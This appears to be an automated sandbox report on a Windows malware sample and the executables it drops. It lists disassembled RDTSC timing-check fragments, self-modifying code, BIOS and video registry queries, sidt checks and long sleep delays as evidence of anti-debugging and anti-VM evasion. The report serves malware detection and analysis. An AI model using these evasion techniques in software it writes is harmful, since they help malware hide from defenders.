Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A07FB second address: 50A085D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 mov eax, edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F1538C62D8Fh 0x00000010 jmp 00007F1538C62CDFh 0x00000015 cmp dword ptr [ebp-14h], edi 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F1538C62CDBh 0x00000021 adc ecx, 101AF0FEh 0x00000027 jmp 00007F1538C62CE9h 0x0000002c popfd 0x0000002d jmp 00007F1538C62CE0h 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A085D second address: 50A0863 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0863 second address: 50A08A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F15A96208FBh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 movsx edx, ax 0x00000017 pushfd 0x00000018 jmp 00007F1538C62CE4h 0x0000001d adc al, FFFFFF88h 0x00000020 jmp 00007F1538C62CDBh 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A08A7 second address: 50A08F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F153924BB79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c jmp 00007F153924BB6Eh 0x00000011 lea eax, dword ptr [ebp-2Ch] 0x00000014 jmp 00007F153924BB70h 0x00000019 xchg eax, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov cl, dh 0x0000001f mov ebx, ecx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A08F1 second address: 50A0926 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F1538C62CE9h 0x0000000f xchg eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov esi, edx 0x00000015 mov edi, 61E582FAh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0926 second address: 50A094C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F153924BB6Eh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F153924BB6Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A094C second address: 50A09A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 mov di, cx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e mov dx, 6CD6h 0x00000012 pushfd 0x00000013 jmp 00007F1538C62CE7h 0x00000018 adc cx, 315Eh 0x0000001d jmp 00007F1538C62CE9h 0x00000022 popfd 0x00000023 popad 0x00000024 nop 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F1538C62CDDh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A09D3 second address: 50A09F2 instructions: 0x00000000 rdtsc 0x00000002 mov bl, 3Eh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, 420ED43Dh 0x0000000b popad 0x0000000c mov esi, eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F153924BB6Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A09F2 second address: 50A0A0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1538C62CE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0A0A second address: 50A0A20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F153924BB6Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0A20 second address: 50A0A37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F1538C62CE1h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0A37 second address: 50A000A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007F15A9C0977Dh 0x0000000d xor eax, eax 0x0000000f jmp 00007F153922529Ah 0x00000014 pop esi 0x00000015 pop edi 0x00000016 pop ebx 0x00000017 leave 0x00000018 retn 0004h 0x0000001b nop 0x0000001c cmp eax, 00000000h 0x0000001f setne cl 0x00000022 xor ebx, ebx 0x00000024 test cl, 00000001h 0x00000027 jne 00007F153924BB67h 0x00000029 jmp 00007F153924BCDBh 0x0000002e call 00007F153DCC4E05h 0x00000033 mov edi, edi 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 mov ebx, esi 0x0000003a mov al, 69h 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A000A second address: 50A0074 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop ebx 0x00000005 jmp 00007F1538C62CDAh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F1538C62CDEh 0x00000015 sub cl, 00000018h 0x00000018 jmp 00007F1538C62CDBh 0x0000001d popfd 0x0000001e mov si, 2DCFh 0x00000022 popad 0x00000023 push eax 0x00000024 pushad 0x00000025 mov si, dx 0x00000028 movsx ebx, ax 0x0000002b popad 0x0000002c xchg eax, ebp 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007F1538C62CE4h 0x00000034 add al, FFFFFFA8h 0x00000037 jmp 00007F1538C62CDBh 0x0000003c popfd 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 pop ebx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0074 second address: 50A0082 instructions: 0x00000000 rdtsc 0x00000002 mov edx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0082 second address: 50A014B instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F1538C62CE6h 0x00000008 and si, E938h 0x0000000d jmp 00007F1538C62CDBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007F1538C62CE8h 0x0000001b and eax, 13626398h 0x00000021 jmp 00007F1538C62CDBh 0x00000026 popfd 0x00000027 popad 0x00000028 xchg eax, ecx 0x00000029 jmp 00007F1538C62CE6h 0x0000002e push eax 0x0000002f pushad 0x00000030 movsx edi, si 0x00000033 pushfd 0x00000034 jmp 00007F1538C62CDAh 0x00000039 xor esi, 73466528h 0x0000003f jmp 00007F1538C62CDBh 0x00000044 popfd 0x00000045 popad 0x00000046 xchg eax, ecx 0x00000047 jmp 00007F1538C62CE6h 0x0000004c mov dword ptr [ebp-04h], 55534552h 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F1538C62CE7h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A014B second address: 50A0163 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F153924BB74h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A01C6 second address: 50A01CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A01CC second address: 50A01D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A01D0 second address: 50B0008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 pushad 0x0000000a call 00007F1538C62CE8h 0x0000000f movzx ecx, dx 0x00000012 pop edx 0x00000013 popad 0x00000014 ret 0x00000015 nop 0x00000016 and bl, 00000001h 0x00000019 movzx eax, bl 0x0000001c lea esp, dword ptr [ebp-0Ch] 0x0000001f pop esi 0x00000020 pop edi 0x00000021 pop ebx 0x00000022 pop ebp 0x00000023 ret 0x00000024 add esp, 04h 0x00000027 jmp dword ptr [0063A41Ch+ebx*4] 0x0000002e push edi 0x0000002f call 00007F1538C886D7h 0x00000034 push ebp 0x00000035 push ebx 0x00000036 push edi 0x00000037 push esi 0x00000038 sub esp, 000001D0h 0x0000003e mov dword ptr [esp+000001B4h], 0063CB10h 0x00000049 mov dword ptr [esp+000001B0h], 000000D0h 0x00000054 mov dword ptr [esp], 00000000h 0x0000005b mov eax, dword ptr [006381DCh] 0x00000060 call eax 0x00000062 mov edi, edi 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0008 second address: 50B000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B000C second address: 50B0029 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0029 second address: 50B0039 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F153924BB6Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0039 second address: 50B0122 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F1538C62CE4h 0x00000013 xor cx, 02D8h 0x00000018 jmp 00007F1538C62CDBh 0x0000001d popfd 0x0000001e call 00007F1538C62CE8h 0x00000023 call 00007F1538C62CE2h 0x00000028 pop ecx 0x00000029 pop edi 0x0000002a popad 0x0000002b push eax 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F1538C62CE7h 0x00000033 sub si, 97AEh 0x00000038 jmp 00007F1538C62CE9h 0x0000003d popfd 0x0000003e mov si, DC37h 0x00000042 popad 0x00000043 xchg eax, ebp 0x00000044 pushad 0x00000045 pushfd 0x00000046 jmp 00007F1538C62CE8h 0x0000004b adc ax, 4C58h 0x00000050 jmp 00007F1538C62CDBh 0x00000055 popfd 0x00000056 mov bx, cx 0x00000059 popad 0x0000005a mov ebp, esp 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F1538C62CE1h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0122 second address: 50B0132 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F153924BB6Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B01AD second address: 50B01B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B01B1 second address: 50B01B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B01B5 second address: 50B01BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B01BB second address: 50B01E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F153924BB74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F153924BB6Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B01E5 second address: 50B01E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B01E9 second address: 50B01EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B01EF second address: 50B025C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e mov eax, ebx 0x00000010 pushfd 0x00000011 jmp 00007F1538C62CDDh 0x00000016 jmp 00007F1538C62CDBh 0x0000001b popfd 0x0000001c popad 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 mov ax, di 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 pop ecx 0x00000027 popad 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c jmp 00007F1538C62CDAh 0x00000031 pop eax 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F1538C62CDDh 0x0000003b jmp 00007F1538C62CDBh 0x00000040 popfd 0x00000041 mov bx, si 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B025C second address: 50B0282 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F153924BB75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F15A9BF1463h 0x0000000e push 75A52B70h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [75AB4538h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 pushad 0x00000054 movzx ecx, di 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0282 second address: 50B0286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B0286 second address: 50B02B1 instructions: 0x00000000 rdtsc 0x00000002 mov di, 30E8h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 mov esi, 00000000h 0x0000000e jmp 00007F153924BB6Ch 0x00000013 mov dword ptr [ebp-1Ch], esi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F153924BB6Ah 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B02B1 second address: 50B02B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B02B5 second address: 50B02BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B02BB second address: 50B02CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1538C62CDDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B02DF second address: 50B02E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B02E3 second address: 50B02E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C072C second address: 50C073F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F153924BB6Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C073F second address: 50C0743 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0743 second address: 50C0775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F153924BB74h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007F153924BB6Dh 0x00000017 pop esi 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0775 second address: 50C07D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1538C62CDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov si, 826Dh 0x00000010 mov esi, 4D68D869h 0x00000015 popad 0x00000016 xchg eax, esi 0x00000017 pushad 0x00000018 call 00007F1538C62CE2h 0x0000001d call 00007F1538C62CE2h 0x00000022 pop eax 0x00000023 pop edi 0x00000024 jmp 00007F1538C62CE0h 0x00000029 popad 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C07D2 second address: 50C07D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C07D6 second address: 50C07DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C07DA second address: 50C07E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C07E0 second address: 50C07F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1538C62CE2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C07F6 second address: 50C080B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F153924BB6Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C080B second address: 50C0811 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0811 second address: 50C0815 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0815 second address: 50C0836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1538C62CE4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C0836 second address: 50C083C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 64EE48 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 883EB4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Special instruction interceptor: First address: EFDDF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Special instruction interceptor: First address: 10B3DB8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Special instruction interceptor: First address: 10DF7D8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Special instruction interceptor: First address: EFDDF2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Special instruction interceptor: First address: 4AEB63 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Special instruction interceptor: First address: 114F7B5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Special instruction interceptor: First address: 6D340E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8CEB63 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: AF340E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Special instruction interceptor: First address: 102EE48 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Special instruction interceptor: First address: 1263EB4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Special instruction interceptor: First address: BFDEAF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Special instruction interceptor: First address: BFDF91 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Special instruction interceptor: First address: DD9C43 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Special instruction interceptor: First address: E3EF5E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Special instruction interceptor: First address: 3BDDF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Special instruction interceptor: First address: 573DB8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Special instruction interceptor: First address: 59F7D8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Special instruction interceptor: First address: 3BDDF2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Special instruction interceptor: First address: 60F7B5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Special instruction interceptor: First address: 6CEB63 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Special instruction interceptor: First address: 8F340E instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Memory allocated: 48B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Memory allocated: 4AA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Memory allocated: 48F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Memory allocated: 4C70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Memory allocated: 4DD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Memory allocated: 6DD0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe

Code function: 4_2_0108D585 rdtsc

4_2_0108D585

Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe

Code function: 4_2_0109DF01 sidt fword ptr [esp-02h]

4_2_0109DF01

Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2663	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2937	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Window / User API: threadDelayed 753

Source: C:\Users\user\Desktop\file.exe TID: 7596	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7600	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe TID: 8132	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1876	Thread sleep count: 54 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1876	Thread sleep time: -108054s >= -30000s	Jump to behavior
